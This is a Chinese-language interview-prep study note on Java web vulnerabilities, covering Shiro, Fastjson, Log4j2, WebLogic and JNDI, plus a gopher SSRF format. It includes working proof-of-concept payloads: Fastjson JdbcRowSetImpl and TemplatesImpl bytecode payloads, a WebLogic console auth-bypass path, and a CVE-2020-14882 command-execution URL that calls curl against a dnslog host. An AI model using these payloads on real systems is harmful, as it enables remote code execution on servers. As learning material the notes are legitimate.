前言

最近面试经常会碰到有些东西自己学过但是忘了，有些搞过但没有更深思考。所以要结合面试经验，做一次系统性的总结。

Java

java安全是被提问最多的部分，但鉴于我java安全学得相当零散，基本是用什么学什么，趁此机会全盘总结一下。

Shiro

shiro反序列化

Shiro < 1.2.4
利用rememberme反序列化

原理：
Apache Shiro <= 1.2.4 版本中，加密的用户信息序列化后存储在Cookie的rememberMe字段中，攻击者可以使用Shiro的AES加密算法的默认密钥来构造恶意的Cookie rememberMe值，发送到Shiro服务端之后会先后进行Base64解码、AES解密、readObject()反序列化，从而触发Java原生反序列化漏洞，进而实现RCE

长度限制绕过：

  1. 分离payload+动态类加载
    cookie内数据反序列化，遍历遍历线程对象获取request获取payload。
  2. JRMP绕过:
    在远程服务端开启恶意JRMP服务，JRMP是一个Java远程方法协议。shiro远程加载恶意方法，可把payload缩短到300内。

shiro721:
由于Shiro Cookie中通过AES-128-CBC模式加密rememberMe字段存在问题，用过可通过Padding Oracle加密生成的攻击代码来构造恶意的rememberMe字段，并重新请求网站，进行序列化攻击，导致任意代码执行
影响版本：Apache Shiro < 1.4.2
在1.4.2版本后，shiro已经换 AES-CBC AES-CBC 为 AES-GCM AES-GCM ，无法再通过Padding Oracle遍历key

日志审计发现：
在志信息是可以看到序列化报错的信息的，可以根据相关日志查看相关应是否遭到shiro反序列化攻击尝试
以在Tomcat的报错关注RememberMeManager的相关信息可以看到相关的异常。

shiro权限绕过

Sping

spring任意文件写入

spring bean漏洞分析

spring cloud

Fastjson

JNDI注入影响范围:

  1. 基于rmi的利用方式, 适用jdk版本：JDK 6u132、JDK 7u122、JDK 8u113之前
  2. 基于ldap的利用方式, 适用jdk版本：JDK 11.0.1、8u191、7u201、6u211之前

成因:
漏洞是利用fastjson autotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类连接远程rmi主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用，获取服务器的敏感信息泄露，甚至可以利用此漏洞进一步对服务器数据进行修改，增加，删除等操作，对服务器造成巨大的影响。

触发:
JSON.parseObject或JSON.parse都可以触发，parse触发了set方法，parseObject触发get和set方法

fastjson <= 1.2.24

JdbcRowSetImpl:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

TemplatesImpl:
漏洞原理：Fastjson通过bytecodes字段传入恶意类，调用outputProperties属性的getter方法时，实例化传入的恶意类，调用其构造方法，造成任意命令执行。
poc:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

1.2.25-1.2.41

fastjson在1.2.25后新增了黑名单和白名单功能(checkAutotype)
在ParserConfig中，可以看到黑名单的内容，而且设置了一个autoTypeSupport用来控制是否可以反序列化，autoTypeSupport默认为false且禁止反序列化。
autoTypeSupport开启的情况下先通过白名单进行判断，如果符合的话就进入TypeUtils.loadClass，然后在通过黑名单进行判断，如果在黑名单中就直接抛出异常。
poc:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}
它与1.2.24版本poc唯一的不同之处是类名前后分别加上了 "L" 与 ";"
此时 com.sun.rowset.JdbcRowSetImpl 已经进了黑名单, 通过加上特殊字符, 绕过黑名单, 后续代码中会将 "L" 与 ";" 字符自动去除, 导致该恶意类被还原并被反序列化

下面一些版本多为黑名单绕过，不赘述，挑几个有代表性的

1.2.47

在此版本中可以在不开启autoTypeSupport的情况下，触发漏洞
payload:

{
    "1": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://127.0.0.1:1389/eval",
        "autoCommit": true
    }
}

1.2.68

在此版本中新增了一个safeMode功能，如果开启的话，将会直接抛出异常，完全杜绝了autoTypeSupport的绕过

此版本中对autoTypeSupport的绕过使用期望类(expectClass)，当传入的expectClass不在黑名单中后，expectClassFlag的值为true时，会调用TypeUtils.loadClass加载类，其中clazz也就是传进去的另一个类名必须为expectClass的子类。
其中java.lang.AutoCloseable在白名单中，因此可以使用其子类来进行绕过autoTypeSupport

这里稍微总结一下恶意类要满足的条件：

  • 恶意类不在黑名单内
  • 恶意类的父类（例如AutoCloseable）不在黑名单内
  • 恶意类不能是抽象类
  • 恶意类中的getter/setter/static block/constructor能触发恶意操作

官方修复直接将java.lang.AutoCloseable加入了黑名单

1.2.80

紧接上文，1.2.68中禁用了期望类AutoCloseable，1.2.80后的绕过就是去寻找其他期望类，于是找到了异常类Throwable。

Log4j2

在 Log4j2 中提供的众多特性中，其中一个就是Property Support，这个特性让使用者可以引用配置中的属性，或传递给底层组件并动态解析。这些属性来自于配置文件中定义的值、系统属性、环境变量、ThreadContext、和事件中存在的数据，用户也可以提供自定义的 Lookup 组件来配置自定义的值

这个 Lookup & Substitution 的过程，就是本次漏洞的关键点。提供 Lookup 功能的组件需要实现 org.apache.logging.log4j.core.lookup.StrLookup 接口，并通过配置文件进行设置。
其中所支持的 Jndi 就是本次漏洞的触发点

本此漏洞的触发点，实际上是从AbstractLogger#logMessage方法开始的，凡是调用了此方法的 info/error/warn 等全部方法均可以作为本次漏洞的触发点，只是取决于配置的漏洞输出等级。

Memory Webshell

Weblogic

XMLDecoder反序列化

影响版本：
10.3.6.0，12.1.3.0.0，12.2.1.1.0
CVE-2017-10271漏洞主要是由Weblogic Server WLS组件远程命令执行漏洞，主要由wls-wsat.war触发该漏洞，Weblogic组件使用了自带的webservices处理程序来处理SOAP请求。通过WLLServletAdapter类进行处理，在WorkContentServerTube类中处理POST数据包中传递的XML数据.

即漏洞引发的原因是Weblogic wls-wsat组件在反序列化操作时使用了Oracle官方的JDK组件中XMLDecoder类进行XML反序列化操作引发了代码执行。也就说XMLDecoder类在解析XML文件的时候出现了反序列化问题

其中，XMLDecoder类是用于读取使用XMLEncoder创建的XML文档

T3协议反序列化

影响版本：
Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作，利用RMI（远程方法调用） 机制的缺陷，通过 JRMP 协议（Java远程方法协议）达到执行任意反序列化代码，进而造成远程代码执行。

未授权漏洞

组合漏洞，分为未授权访问和http协议命令执行两部分

CVE-2020-14883
原理是通过静态资源来绕过权限验证，防止被重定向到登陆界面
使用目录穿越结合双重URL编码就能绕过认证实现未授权访问console后台
如：/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=

CVE-2020-14882
poc:console/console.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20http://weblogic.rlk5z3.dnslog.cn');")

JNDI

概念理解

  • RMI：RMI是一种行为，这种行为指的是Java远程方法调用
  • JRMP：JRMP是一个协议，是用于Java RMI过程中的协议。全称为Java远程消息交换协议，这是运行在Java RMI之下、TCP/IP之上的线路层协议。
  • JNDI：JNDI是一个接口，在这个接口下会有多种目录系统服务的实现，我们能通过名称等去找到相关的对象，并把它下载到客户端中来
  • LDAP：轻型目录访问协议，是一种目录服务协议，运行在TCP/IP堆栈之上。LDAP目录和RMI注册表的区别在于是前者是目录服务，并允许分配存储对象的属性。

要点

  1. 关于RMI
    • RMI的传输是基于反序列化的。
    • 对于任何一个以对象为参数的RMI接口，你都可以发一个自己构建的对象，迫使服务器端将这个对象按任何一个存在于服务端classpath（不在classpath的情况，可以看后面RMI动态加载类相关部分）中的可序列化类来反序列化恢复对象。
    • Java本身对RMI规范的实现默认使用的是JRMP协议，Weblogic对RMI规范的实现使用T3协议
  2. 不同版本中JNDI协议使用 
    RMI:  JDK 6u141、7u131、8u121之前
LDAP: JDK 11.0.1、8u191、7u201、6u211之前

在jdk8u121版本开始，Oracle通过默认设置系统变量com.sun.jndi.rmi.object.trustURLCodebase为false，将导致通过rmi的方式加载远程的字节码不会被信任，想要绕过有两种方式。
一是替换为ldap协议。java在jdk8u191开始，将com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false。

二是利用本地Class作为Reference Factory，虽然8u191后已经不允许加载codebase中的类，但仍然可以从本地加载Reference Factory，如通过Tomcat的org.apache.naming.factory.BeanFactory工厂类去调用 javax.el.ELProcessor#eval方法或groovy.lang.GroovyShell#evaluate方法

三是LDAP的javaSerializedData反序列化gadget，没学过之后再说吧。

RASP

基本漏洞

查漏补缺了

SSRF

gopher发送数据
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
如果发起post请求，回车换行需要使用%0d%0a，如果多个参数，参数之间的&也需要进行URL编码

XSS

XXE

PHP

thinkphp

laveral

php漏洞c语言层面

内网

说实在不熟悉，写写基础算了

"孓然一身 , 了无牵挂"